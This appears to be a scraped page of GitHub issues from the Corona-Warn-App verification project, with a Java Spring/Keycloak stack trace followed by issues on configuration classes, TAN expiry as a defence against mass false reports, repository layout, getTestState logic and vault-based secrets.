	at java.base/java.lang.reflect.Method.invoke(Method.java:566) ~[na:na]
	at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:190) ~[spring-web-5.2.6.RELEASE.jar:5.2.6.RELEASE]
	at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:138) ~[spring-web-5.2.6.RELEASE.jar:5.2.6.RELEASE]
	at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:105) ~[spring-webmvc-5.2.6.RELEASE.jar:5.2.6.RELEASE]
	at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:879) ~[spring-webmvc-5.2.6.RELEASE.jar:5.2.6.RELEASE]
	at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:793) ~[spring-webmvc-5.2.6.RELEASE.jar:5.2.6.RELEASE]
	at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87) ~[spring-webmvc-5.2.6.RELEASE.jar:5.2.6.RELEASE]
	at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1040) ~[spring-webmvc-5.2.6.RELEASE.jar:5.2.6.RELEASE]
	at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:943) ~[spring-webmvc-5.2.6.RELEASE.jar:5.2.6.RELEASE]
	at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1006) ~[spring-webmvc-5.2.6.RELEASE.jar:5.2.6.RELEASE]
	at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:909) ~[spring-webmvc-5.2.6.RELEASE.jar:5.2.6.RELEASE]
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:660) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:883) ~[spring-webmvc-5.2.6.RELEASE.jar:5.2.6.RELEASE]
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:741) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53) ~[tomcat-embed-websocket-9.0.35.jar:9.0.35]
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at brave.servlet.TracingFilter.doFilter(TracingFilter.java:67) ~[brave-instrumentation-servlet-5.10.1.jar:na]
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.keycloak.adapters.springsecurity.filter.KeycloakAuthenticatedActionsFilter.doFilter(KeycloakAuthenticatedActionsFilter.java:57) ~[keycloak-spring-security-adapter-10.0.1.jar:10.0.1]
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.keycloak.adapters.springsecurity.filter.KeycloakSecurityContextRequestFilter.doFilter(KeycloakSecurityContextRequestFilter.java:61) ~[keycloak-spring-security-adapter-10.0.1.jar:10.0.1]
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.keycloak.adapters.springsecurity.filter.KeycloakPreAuthActionsFilter.doFilter(KeycloakPreAuthActionsFilter.java:96) ~[keycloak-spring-security-adapter-10.0.1.jar:10.0.1]
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.springframework.security.web.authentication.AbstractAuthenticationProcessingFilter.doFilter(AbstractAuthenticationProcessingFilter.java:200) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at app.coronawarn.verification.portal.VerificationPortalHttpFilter.doFilter(VerificationPortalHttpFilter.java:40) ~[classes/:na]
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:320) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.access.intercept.FilterSecurityInterceptor.invoke(FilterSecurityInterceptor.java:126) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.access.intercept.FilterSecurityInterceptor.doFilter(FilterSecurityInterceptor.java:90) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:334) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.access.ExceptionTranslationFilter.doFilter(ExceptionTranslationFilter.java:118) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:334) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.session.SessionManagementFilter.doFilter(SessionManagementFilter.java:137) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:334) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.authentication.AnonymousAuthenticationFilter.doFilter(AnonymousAuthenticationFilter.java:111) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:334) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.keycloak.adapters.springsecurity.filter.KeycloakAuthenticatedActionsFilter.doFilter(KeycloakAuthenticatedActionsFilter.java:74) ~[keycloak-spring-security-adapter-10.0.1.jar:10.0.1]
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:334) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.keycloak.adapters.springsecurity.filter.KeycloakSecurityContextRequestFilter.doFilter(KeycloakSecurityContextRequestFilter.java:92) ~[keycloak-spring-security-adapter-10.0.1.jar:10.0.1]
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:334) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.servletapi.SecurityContextHolderAwareRequestFilter.doFilter(SecurityContextHolderAwareRequestFilter.java:158) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:334) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.savedrequest.RequestCacheAwareFilter.doFilter(RequestCacheAwareFilter.java:63) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:334) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.authentication.logout.LogoutFilter.doFilter(LogoutFilter.java:116) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:334) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.authentication.AbstractAuthenticationProcessingFilter.doFilter(AbstractAuthenticationProcessingFilter.java:200) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:334) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.keycloak.adapters.springsecurity.filter.KeycloakPreAuthActionsFilter.doFilter(KeycloakPreAuthActionsFilter.java:96) ~[keycloak-spring-security-adapter-10.0.1.jar:10.0.1]
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:334) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at app.coronawarn.verification.portal.VerificationPortalHttpFilter.doFilter(VerificationPortalHttpFilter.java:40) ~[classes/:na]
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:334) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.csrf.CsrfFilter.doFilterInternal(CsrfFilter.java:141) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119) ~[spring-web-5.2.6.RELEASE.jar:5.2.6.RELEASE]
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:334) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.header.HeaderWriterFilter.doHeadersAfter(HeaderWriterFilter.java:92) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.header.HeaderWriterFilter.doFilterInternal(HeaderWriterFilter.java:77) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119) ~[spring-web-5.2.6.RELEASE.jar:5.2.6.RELEASE]
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:334) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.context.SecurityContextPersistenceFilter.doFilter(SecurityContextPersistenceFilter.java:105) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:334) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.context.request.async.WebAsyncManagerIntegrationFilter.doFilterInternal(WebAsyncManagerIntegrationFilter.java:56) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119) ~[spring-web-5.2.6.RELEASE.jar:5.2.6.RELEASE]
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:334) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.FilterChainProxy.doFilterInternal(FilterChainProxy.java:215) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.FilterChainProxy.doFilter(FilterChainProxy.java:178) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.web.filter.DelegatingFilterProxy.invokeDelegate(DelegatingFilterProxy.java:358) ~[spring-web-5.2.6.RELEASE.jar:5.2.6.RELEASE]
	at org.springframework.web.filter.DelegatingFilterProxy.doFilter(DelegatingFilterProxy.java:271) ~[spring-web-5.2.6.RELEASE.jar:5.2.6.RELEASE]
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100) ~[spring-web-5.2.6.RELEASE.jar:5.2.6.RELEASE]
	at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119) ~[spring-web-5.2.6.RELEASE.jar:5.2.6.RELEASE]
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93) ~[spring-web-5.2.6.RELEASE.jar:5.2.6.RELEASE]
	at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119) ~[spring-web-5.2.6.RELEASE.jar:5.2.6.RELEASE]
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.springframework.session.web.http.SessionRepositoryFilter.doFilterInternal(SessionRepositoryFilter.java:141) ~[spring-session-core-2.3.0.RELEASE.jar:2.3.0.RELEASE]
	at org.springframework.session.web.http.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:82) ~[spring-session-core-2.3.0.RELEASE.jar:2.3.0.RELEASE]
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.springframework.cloud.sleuth.instrument.web.ExceptionLoggingFilter.doFilter(ExceptionLoggingFilter.java:50) ~[spring-cloud-sleuth-core-2.2.2.RELEASE.jar:2.2.2.RELEASE]
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at brave.servlet.TracingFilter.doFilter(TracingFilter.java:84) ~[brave-instrumentation-servlet-5.10.1.jar:na]
	at org.springframework.cloud.sleuth.instrument.web.LazyTracingFilter.doFilter(TraceWebServletAutoConfiguration.java:138) ~[spring-cloud-sleuth-core-2.2.2.RELEASE.jar:2.2.2.RELEASE]
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.springframework.boot.actuate.metrics.web.servlet.WebMvcMetricsFilter.doFilterInternal(WebMvcMetricsFilter.java:93) ~[spring-boot-actuator-2.3.0.RELEASE.jar:2.3.0.RELEASE]
	at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119) ~[spring-web-5.2.6.RELEASE.jar:5.2.6.RELEASE]
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201) ~[spring-web-5.2.6.RELEASE.jar:5.2.6.RELEASE]
	at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119) ~[spring-web-5.2.6.RELEASE.jar:5.2.6.RELEASE]
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:202) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.keycloak.adapters.tomcat.AbstractAuthenticatedActionsValve.invoke(AbstractAuthenticatedActionsValve.java:67) ~[spring-boot-container-bundle-10.0.1.jar:10.0.1]
	at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:541) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.keycloak.adapters.tomcat.AbstractKeycloakAuthenticatorValve.invoke(AbstractKeycloakAuthenticatorValve.java:181) ~[spring-boot-container-bundle-10.0.1.jar:10.0.1]
	at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:139) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:343) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:373) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:868) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1590) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) ~[na:na]
	at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) ~[na:na]
	at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at java.base/java.lang.Thread.run(Thread.java:834) ~[na:na]

Use configuration classes instead of @Value annotations

Current Implementation

Configuration values are injected via @Value.

Suggested Enhancement

Implement a ConfigurationService.
See corona-warn-app/cwa-server#183

Expected Benefits

  • central configration definition for better maintainability
  • fast failure on startup, if non-optional values are missing.
  • ability to use primitive values instead of wrapper types without higher chance of accidental default value usage (see #86)

Do TAN's loose validity over time?

Scenario:
Terrorists do collect TAN's. Then they try to mark as many people as possible, using own-made emulators of the app, before it gets registered.
Conclusion:
To stem this, the timespan for entering the TAN should be limited.

Move GitHub specific files to .github folder

Current Implementation

Currently the project root contains some files that are only relevant for Github.

Suggested Enhancement

To maintain a cleaner code repository I suggest to move the GitHub specific files to the .github folder.

affected files:

  • CODEOWNERS
  • CONTRIBUTING.md
  • CODE_OF_CONDUCT.md
  • ...?

Expected Benefits

Better overview in the repository and local IDE.

possible unreachable code paths in getTestState

  1. in the case that the session was created by a teleTan, a positive test result is always returned. why?
  2. Is it not so that either a telTanHash or guidHash is set in the session? The line String hash = appSession.get().getHashedGuid() != null ? appSession.get().getHashedGuid() : appSession.get().getTeleTanHash(); must therefore always return the hashedGuid.
  3. The labService requires a HashedGuid, wouldn't it be wrong to "cast" the teleTanHash into a GuidHash?

if ((appSession.get().getHashedGuid() == null) && (appSession.get().getTeleTanHash() != null)) {

feat: accessing vault directly instead of OpenShift secrets

Feature description

The secrets shall be read directly from the vault

Problem and motivation

Credentials and certificates are stored in vault and are exported to Openshift secrets periodicly. The use of secrets shall be prevented in favor to direcly read the properties from a vault.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.